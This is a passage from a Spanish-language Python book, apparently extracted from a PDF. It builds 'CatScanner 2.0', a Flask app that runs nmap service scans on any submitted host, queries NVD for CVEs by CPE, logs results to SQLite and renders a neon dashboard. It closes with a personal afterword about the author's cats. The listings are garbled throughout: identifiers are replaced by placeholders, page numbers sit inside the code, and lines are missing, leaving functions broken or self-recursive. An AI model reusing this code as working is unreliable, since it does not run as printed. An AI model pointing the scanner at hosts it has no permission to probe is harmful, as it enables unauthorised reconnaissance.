El proyecto creció como suelen crecer estas cosas, entre pruebas, errores, café frío que nunca falta y Tom
pasando por el teclado en los peores momentos. Ahora este escanner, sí se siente más como un escáner de
verdad... descubre servicios, interpreta CPE, consulta la API nueva de NVD, registra todo en SQLite y
después, lo muestra en un panel que parece sacado de un terminal en hackers de los 80.
Configuración inicial
Aquí cargamos todo lo que vamos a necesitar como por ejemplo Flask para mostrar el dashboard, requests
para hablar con APIs, nmap para hacer el escaneo real, y SQLite para guardar los resultados. Nada muy
glamuroso… solo las herramientas que siempre me acompañan en esta nave nodriza llamada Jupyter.
In [184]:
from flask import Flask, render_template, request
import requests
import json
410
import nmap
import sqlite3
import time
app = Flask(__name__)
Base de datos
Creamos dos tablas simples en SQLite, una para guardar los puertos abiertos que vaya encontrando y otra
para almacenar las vulnerabilidades que le sacamos a cada CPE... Esto me deja un registro limpio del
viaje… por si después queremos revisar lo que escaneamos.
In [185]:
def connsqlopen():
conn = [Link]('[Link]')
return conn
def createdb():
conn = connsqlopen()
[Link]('''
CREATE TABLE IF NOT EXISTS vuln(
id INTEGER PRIMARY KEY AUTOINCREMENT,
host TEXT,
port INTEGER,
state TEXT,
cpe TEXT,
url TEXT,
date TEXT,
desc TEXT,
cvss2 TEXT,
cvss3 TEXT,
vector TEXT,
score TEXT
);
''')
[Link]('''
CREATE TABLE IF NOT EXISTS portsscan(
id INTEGER PRIMARY KEY AUTOINCREMENT,
host TEXT,
port INTEGER,
state TEXT,
cpe TEXT
);
''')
[Link]()
411
[Link]()
createdb()
In [186]:
def insert_portscan(host, port, state, cpe):
conn = connsqlopen()
[Link](
"INSERT INTO portsscan(host, port, state, cpe) VALUES(?, ?, ?, ?)",
(host, port, state, cpe)
)
[Link]()
[Link]()
def insert_vulnscan(host, port, state, cpe, url, date, desc, cvss2, cvss3, vector,
score):
conn = connsqlopen()
[Link]("""
INSERT INTO vuln(host, port, state, cpe, url, date, desc, cvss2, cvss3, vector,
score)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
""", (host, port, state, cpe, url, date, desc, cvss2, cvss3, vector, score))
[Link]()
[Link]()
In [ ]:
def getallport():
conn = connsqlopen()
cursor = [Link]()
[Link]("SELECT * FROM portsscan")
data = [Link]()
[Link]()
return data
def getallVuln():
conn = connsqlopen()
412
cursor = [Link]()
[Link]("SELECT * FROM vuln")
data = [Link]()
[Link]()
return data
Información Geo-IP
Consultamos [Link] para saber desde dónde es la IP.... No es crítico para seguridad, pero igual es bonito
ver la ubicación del objetivo… es como mirar un mapa de la galaxia antes de entrar.
In [188]:
def getinfoCountry(ip):
r = [Link]("[Link] + ip)
if r.status_code == 200:
return [Link]([Link])
return {}
In [189]:
def prepare_cpe(old_cpe):
# Nmap puede entregar cpe:/a:apache:http_server:2.4.49
if not old_cpe or not old_cpe.startswith("cpe:/"):
return 0
return cpe
413
Por otra parte, la función CPE consulta a NVD usando formato cpeName, si el software tiene
vulnerabilidades asociadas, nos devuelve un JSON con toda la información.... si no… bueno, no hay CVE y
seguimos.
In [190]:
API_URL = "[Link]
API_KEY = "TU_API_KEY"
REQUEST_COUNT = 0
WINDOW_START = [Link]()
def respect_limit():
global REQUEST_COUNT, WINDOW_START
now = [Link]()
REQUEST_COUNT += 1
respect_limit()
params = {
"cpeName": cpe,
"resultsPerPage": limit
}
headers = {
"apiKey": API_KEY,
"User-Agent": "CatScanner 2.0"
}
if r.status_code == 200:
return [Link]
return False
414
Parser de vulnerabilidades
De la respuesta JSON sacAMOS lo que importa, cómo por ejemplo, el ID del CVE, fecha, descripción, score,
severidad y vector. Después guardamos todo en la base, para mostrarlo con calma en el panel neon.
In [191]:
def parser_response(ip, port, cpe, state, content):
data = [Link](content)
cvss2 = ""
cvss3 = ""
vector = ""
score = ""
# CVSS 3.1
if "cvssMetricV31" in metrics:
d = metrics["cvssMetricV31"][0]["cvssData"]
cvss3 = [Link]("baseSeverity")
vector = [Link]("vectorString")
score = [Link]("baseScore")
# CVSS 3.0
elif "cvssMetricV30" in metrics:
d = metrics["cvssMetricV30"][0]["cvssData"]
cvss3 = [Link]("baseSeverity")
vector = [Link]("vectorString")
score = [Link]("baseScore")
# CVSS 2.0
elif "cvssMetricV2" in metrics:
d = metrics["cvssMetricV2"][0]
cvss2 = [Link]("severity")
score = [Link]("cvssData", {}).get("baseScore")
insert_vulnscan(ip, port, state, cpe, url, date, desc, cvss2, cvss3, vector,
score)
Esta es la ruta principal del CatScanner....cuando alguien entra al sitio… lo primero que ve es la pantalla
inicial. Nada complejo.. solo cargamos el [Link], que es donde parte todo el viaje.
In [192]:
415
@[Link]("/")
def home():
return render_template("[Link]")
In [193]:
@[Link]("/scannhost", methods=["POST"])
def scannhost():
host = [Link]['host']
result = getinfoCountry(host)
nmScan = [Link](nmap_search_path=[NMAPPATH])
[Link](host, '21-443', '-sV --min-parallelism 20 --max-parallelism 50')
if entry['state'] == "open":
cpe = entry['cpe']
if resp:
parser_response(hostaddr, port, cpe, hstate, resp)
portss = getallport()
vulners = getallVuln()
# ===========================
# Preparar datos para graficos
# ===========================
# Puertos
ports_labels = [str(p[2]) for p in portss] # columna port
ports_values = [1 for _ in portss] # 1 por puerto abierto
416
ports_values = [0]
# Vulnerabilidades (cvss3)
vuln_low = sum(1 for v in vulners if str(v[9]).lower() == "low")
vuln_med = sum(1 for v in vulners if str(v[9]).lower() == "medium")
vuln_high = sum(1 for v in vulners if str(v[9]).lower() == "high")
vuln_crit = sum(1 for v in vulners if str(v[9]).lower() == "critical")
return render_template(
'[Link]',
target=host,
r=result,
portss=portss,
vulners=vulners,
ports_labels=ports_labels,
ports_values=ports_values,
vuln_low=vuln_low,
vuln_med=vuln_med,
vuln_high=vuln_high,
vuln_crit=vuln_crit
)
Antes de seguir, me aseguro de que exista la carpeta 'templates'..... Flask la necesita para cargar las vistas…
así que si no está, la creamos al tiro, no es nada del otro mundo, pero si falta, el proyecto se cae completo.
In [194]:
import os
if not [Link]("templates"):
[Link]("templates")
[Link]
Esta página es súper simple a propósito.... no tiene mil botones ni opciones escondidas, solo lo esencial:
417
<script src="[Link]
<style>
body {
background: #000;
font-family: "Courier New", monospace;
color: #0ff;
margin: 0;
padding: 0;
}
.crt {
position: fixed;
width: 100%;
height: 100%;
pointer-events: none;
background: repeating-linear-gradient(
0deg,
rgba(0,255,255,0.06),
rgba(0,255,255,0.06) 1px,
transparent 1px,
transparent 4px
);
z-index: 999;
mix-blend-mode: overlay;
}
.container {
width: 60%;
margin: 70px auto;
padding: 30px;
border: 2px solid #0ff;
background: rgba(0,10,10,0.5);
box-shadow: 0 0 20px #0ff;
backdrop-filter: blur(4px);
}
h1 {
text-align: center;
color: #39ff14;
text-shadow: 0 0 15px #39ff14;
margin-bottom: 20px;
}
label {
font-size: 18px;
}
input {
width: 80%;
padding: 12px;
background: #001;
color: #0ff;
border: 1px solid #0ff;
font-size: 18px;
418
box-shadow: 0 0 10px #0ff;
}
button {
margin-top: 20px;
padding: 12px 20px;
background: black;
border: 2px solid #39ff14;
color: #39ff14;
font-size: 18px;
cursor: pointer;
text-shadow: 0 0 8px #39ff14;
}
button:hover {
background: #39ff14;
color: black;
box-shadow: 0 0 15px #39ff14;
}
</style>
</head>
<body>
<div class="crt"></div>
<div class="container">
<h1>[+] CatScanner 2.0 - StarHacks</h1>
</body>
</html>
"""
[Link]
El [Link] es el capítulo donde el proyecto activa.... donde uno siente que la herramienta ya no es un
experimento, sino algo que podría presentar, enseñar, o incluso usar en un curso... Nada está ahí porque sí y
419
todo muestra algo que ayuda a entender qué tan expuesto está el host… y cómo ese riesgo se reparte entre
puertos y vulnerabilidades.
In [196]:
html_scan = """
<!DOCTYPE html>
<html>
<head>
<title>CatScanner 2.0 - StarHacks</title>
<script src="[Link]
<style>
body {
background: #000;
font-family: "Courier New", monospace;
color: #0ff;
margin: 0;
padding: 0;
}
.grid {
display: grid;
grid-template-columns: 1.2fr 2fr;
gap: 25px;
padding: 40px;
}
.panel {
border: 2px solid #0ff;
padding: 20px;
background: rgba(0,20,20,0.4);
box-shadow: 0 0 15px #0ff;
}
h1, h2 {
text-shadow: 0 0 10px #39ff14;
}
pre {
white-space: pre-wrap;
font-size: 14px;
}
.chart-box {
margin-top: 20px;
background: rgba(0,10,10,0.5);
border: 1px solid #0ff;
padding: 10px;
box-shadow: 0 0 10px #0ff;
}
420
#radarCanvas {
width: 100%;
height: 250px;
background: radial-gradient(circle, #022, #000);
border: 1px solid #0ff;
box-shadow: 0 0 12px #0ff;
}
table {
width: 100%;
border-collapse: collapse;
margin-top: 20px;
}
th, td {
border: 1px solid #0ff;
padding: 6px;
}
th {
background: #002;
}
</style>
</head>
<body>
<div class="grid">
<canvas id="radarCanvas"></canvas>
<div class="chart-box">
<h3>Puertos Detectados</h3>
<canvas id="portsChart"></canvas>
</div>
<div class="chart-box">
<h3>Vulnerabilidades por Severidad</h3>
<canvas id="vulnChart"></canvas>
</div>
</div>
421
<h3>[<>] Info Geo-IP</h3>
<pre>{{ r }}</pre>
<h3>[-] Puertos</h3>
<table>
<tr>
<th>ID</th><th>Host</th><th>Port</th><th>State</th><th>CPE</th>
</tr>
{% for p in portss %}
<tr>
<td>{{ p[0] }}</td>
<td>{{ p[1] }}</td>
<td>{{ p[2] }}</td>
<td>{{ p[3] }}</td>
<td>{{ p[4] }}</td>
</tr>
{% endfor %}
</table>
<h3>[+] Vulnerabilidades</h3>
<table>
<tr>
<th>ID</th><th>Host</th><th>Port</th><th>CPE</th>
<th>URL</th><th>Date</th><th>Description</th>
<th>CVSS2</th><th>CVSS3</th><th>Vector</th><th>Score</th>
</tr>
{% for v in vulners %}
<tr>
<td>{{ v[0] }}</td>
<td>{{ v[1] }}</td>
<td>{{ v[2] }}</td>
<td>{{ v[4] }}</td>
<td><a style="color:#0ff" href="{{ v[5] }}"
target="_blank">Ver</a></td>
<td>{{ v[6] }}</td>
<td>{{ v[7] }}</td>
<td>{{ v[8] }}</td>
<td>{{ v[9] }}</td>
<td>{{ v[10] }}</td>
<td>{{ v[11] }}</td>
</tr>
{% endfor %}
</table>
</div>
</div>
<script>
// =====================
// RADAR (ANIMADO)
// =====================
const radar = [Link]('radarCanvas');
const ctxR = [Link]('2d');
422
let angle = 0;
function drawRadar() {
[Link](0, 0, [Link], [Link]);
let cx = [Link] / 2;
let cy = [Link] / 2;
let r = [Link](cx, cy) - 10;
[Link]="#033";
[Link]=2;
[Link]();
[Link](cx, cy, r, 0, [Link]*2); [Link]();
[Link]();
[Link](cx, cy, r*0.66, 0, [Link]*2); [Link]();
[Link]();
[Link](cx, cy, r*0.33, 0, [Link]*2); [Link]();
[Link]="#0ff";
[Link]=3;
[Link]();
[Link](cx, cy);
[Link](cx + r * [Link](angle), cy + r * [Link](angle));
[Link]();
angle += 0.03;
requestAnimationFrame(drawRadar);
}
drawRadar();
// =====================
// GRAFICO PUERTOS
// =====================
new Chart([Link]("portsChart"), {
type: "bar",
data: {
labels: {{ ports_labels|safe }},
datasets: [{
label: "Puertos Abiertos",
data: {{ ports_values|safe }},
backgroundColor: "#0ff"
}]
}
});
// =====================
// GRAFICO CVE
// =====================
new Chart([Link]("vulnChart"), {
type: "pie",
data: {
423
labels: ["Low", "Medium", "High", "Critical"],
datasets: [{
data: [{{ vuln_low }}, {{ vuln_med }}, {{ vuln_high }}, {{ vuln_crit }}],
backgroundColor: ["#0a0", "#cc0", "#f80", "#f00"]
}]
}
});
</script>
</body>
</html>
"""
In [ ]:
if __name__ == "__main__":
[Link](host="[Link]", port=5000, debug=False, use_reloader=False)
Finalmente, mostramos todo en una interfaz neon, con puertos abiertos, vulnerabilidades encontradas,
gráfico de riesgos y un radar animado estilo scanner galáctico. No es puro adorno… es para ver rápido lo
424
importante... el panel corre desde Flask, pero yo lo levantamos desde Jupyter, como siempre… mi pequeño
centro de mando portátil.
Index de CatScanner
425
Final del Libro
Y bueno… llegamos al final de este episodio del viaje… escrito desde este Jupyter que ya parece más una
nave nodriza que un notebook. Estoy contento… muy contento, en verdad. Y al mismo tiempo siento que
quedó tanto por escribir… tanto más por compartir… y que todo esto es apenas una parte chiquitita de lo que
me gustaría entregar sobre este lenguaje maravilloso que es Python. Pero por ahora… así queda. Con sus
rincones… sus líneas… y sus historias mezcladas con café y silencios. Igual siento que nunca estuve solo
escribiendo esto. Primero fue Otto… mi gato negro, mi maestro Jedi felino que se fue hace más de un año…
y que igual aparece aquí como si se sentara al lado mío. Después llegó Tom… que conocí casi por
accidente, en una galaxia lejana… medio desierta… donde vendían pulseritas afuera. Los dos estábamos
cansados ese día… pero la compañía hizo lo suyo… y me devolvió las ganas de escribir. Me devolvió ese
ánimo simple de sentarme… y empezar a ordenar ideas con cariño.
Este libro quiero que sea libre… gratis, así de simple. Nada es realmente mío. Es solo una recopilación de
cosas que he ido juntando en años… como una especie de Diógenes digital de scripts, códigos, pruebas y
carpetas que siempre prometo ordenar… y nunca ordeno. Si alguien encuentra algo útil aquí… si le sirve
para estudiar, enseñar o aprender algo nuevo… úsalo. De verdad. Está 100% permitido. Esto es para quien
tenga ganas de aprender… para quien tenga ganas de enseñar… y para quien disfrute ese descubrimiento
de mirar el mundo a través del código.
Yo… yo solo soy un informático que ama los completos con mayo casera… y que aún se sorprende de cómo
las máquinas nos enseñan cosas todos los días. Y también soy alguien que ama estas historias… y que se
sienta a escribir mientras Tom ronca en el sillón… esperando que no me rasguñe por levantarme tarde a
servirle comida.
No fue fácil escribir… no porque cueste escribir… sino porque cuesta ser constante cuando uno siente que la
idea ya nació libre… que no te pertenece del todo. Pero aquí está. Hecho con cariño… con pausas… con lo
bueno y lo imperfecto. Y sobre las referencias a Star Wars… ojalá nadie se enoje. Nunca ha sido mi
intención aprovecharme de algo que inventó otra persona. Solo es una película que me marcó… que me
acompañó tantas veces… y que sentí natural mezclar con este mundo de Python y felinos que viven arriba
del teclado. Es mi forma de homenajear algo que quiero… como también quise homenajear a mis gatos. A
Tom, que sigue al lado mío… y a Otto, que ojalá esté en el Valhalla de los gatos… peleando en los techos…
conociendo gatitas todas las noches… y disfrutando de su nueva galaxia.
StarHacks sigue… todavía queda mucho espacio en esta nave-notebook para escribir más capítulos… más
experimentos… y más aventuras.
426
427